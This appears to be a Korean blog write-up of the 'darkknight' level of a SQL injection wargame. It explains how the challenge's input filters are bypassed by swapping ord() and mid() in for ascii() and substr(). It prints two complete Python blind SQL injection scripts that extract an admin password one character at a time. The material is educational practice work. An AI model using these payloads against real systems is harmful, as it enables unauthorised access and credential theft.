2021. 1. 17. 00:41ㆍ카테고리 없음
이번문제 또한 바로 이전의 GOLEM 처럼 Blind SQL Injection이다.
먼저 필터식을 살펴보자.
preg_match 함수를 이용한 필터식이 세줄이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no]))
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe")
if(preg_match('/\'|substr|ascii|=/i', $_GET[no]))
순서대로
no 파라미터에 _(언더바), .(마침표), prob, substr, ascii, =(equal) 필터링
pw 파라미터에 싱글쿼터 필터링을 수행하고있다.
pw 파라미터에서 싱글쿼터를 금지하고 있으므로 no 파라미터에서 Blind SQL Injection 을 수행하면 될 것 같다.
하지만 ascii 함수를 사용하지 못하므로 이를 우회해야하는데,
우선 GOLEM에서 사용했던 파이썬 스크립트를 보자
import requests
URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies = {'PHPSESSID' : 'b240ndj1hdkjpjl56np7n9fd32'}
def find_len():
pw_len = 0
while True:
pw_len += 1
value = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
params = {'pw' : value}
response = requests.get(URL, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print('패스워드의 길이는', pw_len,'입니다.')
break
print('Trying')
return pw_len
def find_pw():
pw_len = find_len()
pw = ''
for i in range(0, pw_len+1):
for ascii in range(48, 123):
value = "' || id like 'admin' && ascii(substring(pw, {}, 1)) like {}#".format(i, ascii)
params = {'pw': value}
response = requests.get(URL, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print(i,'번째 패스워드는', chr(ascii))
pw += chr(ascii)
print('패스워드는', pw)
return pw
find_pw()
30 Line을 확인해보면 ascii 함수와 싱글쿼터를 사용하고 있다.
substr 함수와 ascii 함수는 현재 사용할 수 없으므로 지우고 이를 대체하기 위해 ord, mid 함수를 사용한다.
ascii(substr(인자1, 인자2, 인자3)) 함수와 ord(mid(인자1, 인자2, 인자3)) 는 거의 같은 역할을 한다.
substr(string $str, int $start, int $length)
- substring(string $str, int $start, int $length)
- mid(string $str, int $start, int $length)
ascii(string $str)
- ord(string $str): ascii 함수와 용법이 같다. 문자열을 아스키코드 값으로 변환해줌(멀티바이트 문자가 아닐 경우)
- hex(string $str): 문자열을 아스키코드 헥사값으로 변환해줌 ex) hex(substr(pw, 1, 1)) = hex(61)
최종적인 코드는 다음과 같다.
import requests
URL = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies = {'PHPSESSID' : 'b240ndj1hdkjpjl56np7n9fd32'}
def find_len():
pw_len = 0
while True:
pw_len += 1
value = "123 || length(pw) like {}#".format(pw_len)
params = {'no' : value}
response = requests.get(URL, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print('패스워드의 길이는', pw_len,'입니다.')
break
print('Trying')
return pw_len
def find_pw():
pw_len = find_len()
pw = ''
for i in range(1, pw_len+1):
for ascii in range(48, 123):
value = " 123 or id like \"admin\" and ord(mid(pw,{},1)) like {}#".format(i, ascii)
params = {'no': value}
response = requests.get(URL, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print(i,'번째 패스워드는', chr(ascii))
pw += chr(ascii)
print('패스워드는', pw)
return pw
find_pw()